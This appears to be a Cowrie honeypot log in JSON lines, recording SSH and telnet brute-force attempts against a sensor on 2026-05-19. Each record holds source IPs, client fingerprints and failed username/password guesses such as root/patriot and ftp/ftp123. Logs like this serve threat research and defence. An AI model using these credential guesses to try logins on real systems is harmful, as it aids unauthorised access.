{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:41.237554Z","src_ip":"38.93.206.2","session":"65068d128b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patriot","message":"login attempt [root/patriot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:41.395107Z","src_ip":"38.93.206.2","session":"65068d128b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:41.722514Z","src_ip":"45.153.34.112","session":"738f5f62d8bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:42.449131Z","src_ip":"38.93.206.2","session":"65068d128b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52870,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d47c5770d69","protocol":"ssh","message":"New connection: 45.153.34.112:52870 (10.17.0.5:22) [session: 3d47c5770d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:43.888418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:43.893708Z","src_ip":"45.153.34.112","session":"3d47c5770d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:43.976310Z","src_ip":"45.153.34.112","session":"3d47c5770d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:44.226720Z","src_ip":"45.153.34.112","session":"3d47c5770d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:45.413424Z","src_ip":"45.153.34.112","session":"3d47c5770d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52886,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97532b742f6","protocol":"ssh","message":"New connection: 45.153.34.112:52886 (10.17.0.5:22) [session: b97532b742f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:47.404875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:47.410077Z","src_ip":"45.153.34.112","session":"b97532b742f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:47.548704Z","src_ip":"45.153.34.112","session":"b97532b742f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:47.944457Z","src_ip":"45.153.34.112","session":"b97532b742f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44936,"dst_ip":"10.17.0.5","dst_port":23,"session":"656464b5c799","protocol":"telnet","message":"New connection: 192.119.13.58:44936 (10.17.0.5:23) [session: 656464b5c799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:48.235366Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:49.067832Z","src_ip":"45.153.34.112","session":"b97532b742f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54862,"dst_ip":"10.17.0.5","dst_port":22,"session":"641ad9d24f18","protocol":"ssh","message":"New connection: 45.153.34.112:54862 (10.17.0.5:22) [session: 641ad9d24f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:51.107460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:51.112693Z","src_ip":"45.153.34.112","session":"641ad9d24f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:51.196492Z","src_ip":"45.153.34.112","session":"641ad9d24f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:51.443244Z","src_ip":"45.153.34.112","session":"641ad9d24f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19456386566162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:52.238004Z","src_ip":"192.119.13.58","session":"863f829399ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:52.557882Z","src_ip":"45.153.34.112","session":"641ad9d24f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44006,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18b0c588883","protocol":"telnet","message":"New connection: 192.119.13.58:44006 (10.17.0.5:23) [session: f18b0c588883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:53.931783Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c87dfdd3aa4","protocol":"telnet","message":"New connection: 192.119.13.58:44902 (10.17.0.5:23) [session: 3c87dfdd3aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.039940Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54864,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50c48fe87c4","protocol":"ssh","message":"New connection: 45.153.34.112:54864 (10.17.0.5:22) [session: a50c48fe87c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.497657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.502494Z","src_ip":"45.153.34.112","session":"a50c48fe87c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.584852Z","src_ip":"45.153.34.112","session":"a50c48fe87c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":55986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e521e8fe4dd5","protocol":"ssh","message":"New connection: 62.133.63.206:55986 (159.203.135.109:22) [session: e521e8fe4dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.659055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.664364Z","src_ip":"62.133.63.206","session":"e521e8fe4dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:54.784967Z","src_ip":"62.133.63.206","session":"e521e8fe4dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:55.054852Z","src_ip":"45.153.34.112","session":"a50c48fe87c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345t","message":"login attempt [root/12345t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:55.150685Z","src_ip":"62.133.63.206","session":"e521e8fe4dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:56.140669Z","src_ip":"45.153.34.112","session":"a50c48fe87c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:56.282921Z","src_ip":"62.133.63.206","session":"e521e8fe4dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58754,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c4f180bcfa","protocol":"ssh","message":"New connection: 103.98.149.87:58754 (159.203.135.109:22) [session: f3c4f180bcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:57.743228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:57.947901Z","src_ip":"103.98.149.87","session":"f3c4f180bcfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:58.208138Z","src_ip":"103.98.149.87","session":"f3c4f180bcfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54872,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5730ba7f5f2","protocol":"ssh","message":"New connection: 45.153.34.112:54872 (10.17.0.5:22) [session: c5730ba7f5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:58.274695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:58.279396Z","src_ip":"45.153.34.112","session":"c5730ba7f5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:58.361076Z","src_ip":"45.153.34.112","session":"c5730ba7f5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:58.607785Z","src_ip":"45.153.34.112","session":"c5730ba7f5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkm1","message":"login attempt [root/gfhjkm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.167798Z","src_ip":"103.98.149.87","session":"f3c4f180bcfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":59756,"dst_ip":"10.17.0.5","dst_port":22,"session":"541151d5ea28","protocol":"ssh","message":"New connection: 103.122.221.179:59756 (10.17.0.5:22) [session: 541151d5ea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.173328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.181164Z","src_ip":"103.122.221.179","session":"541151d5ea28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f137cb5dab71","protocol":"telnet","message":"New connection: 192.119.13.58:39606 (10.17.0.5:23) [session: f137cb5dab71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.403800Z"}
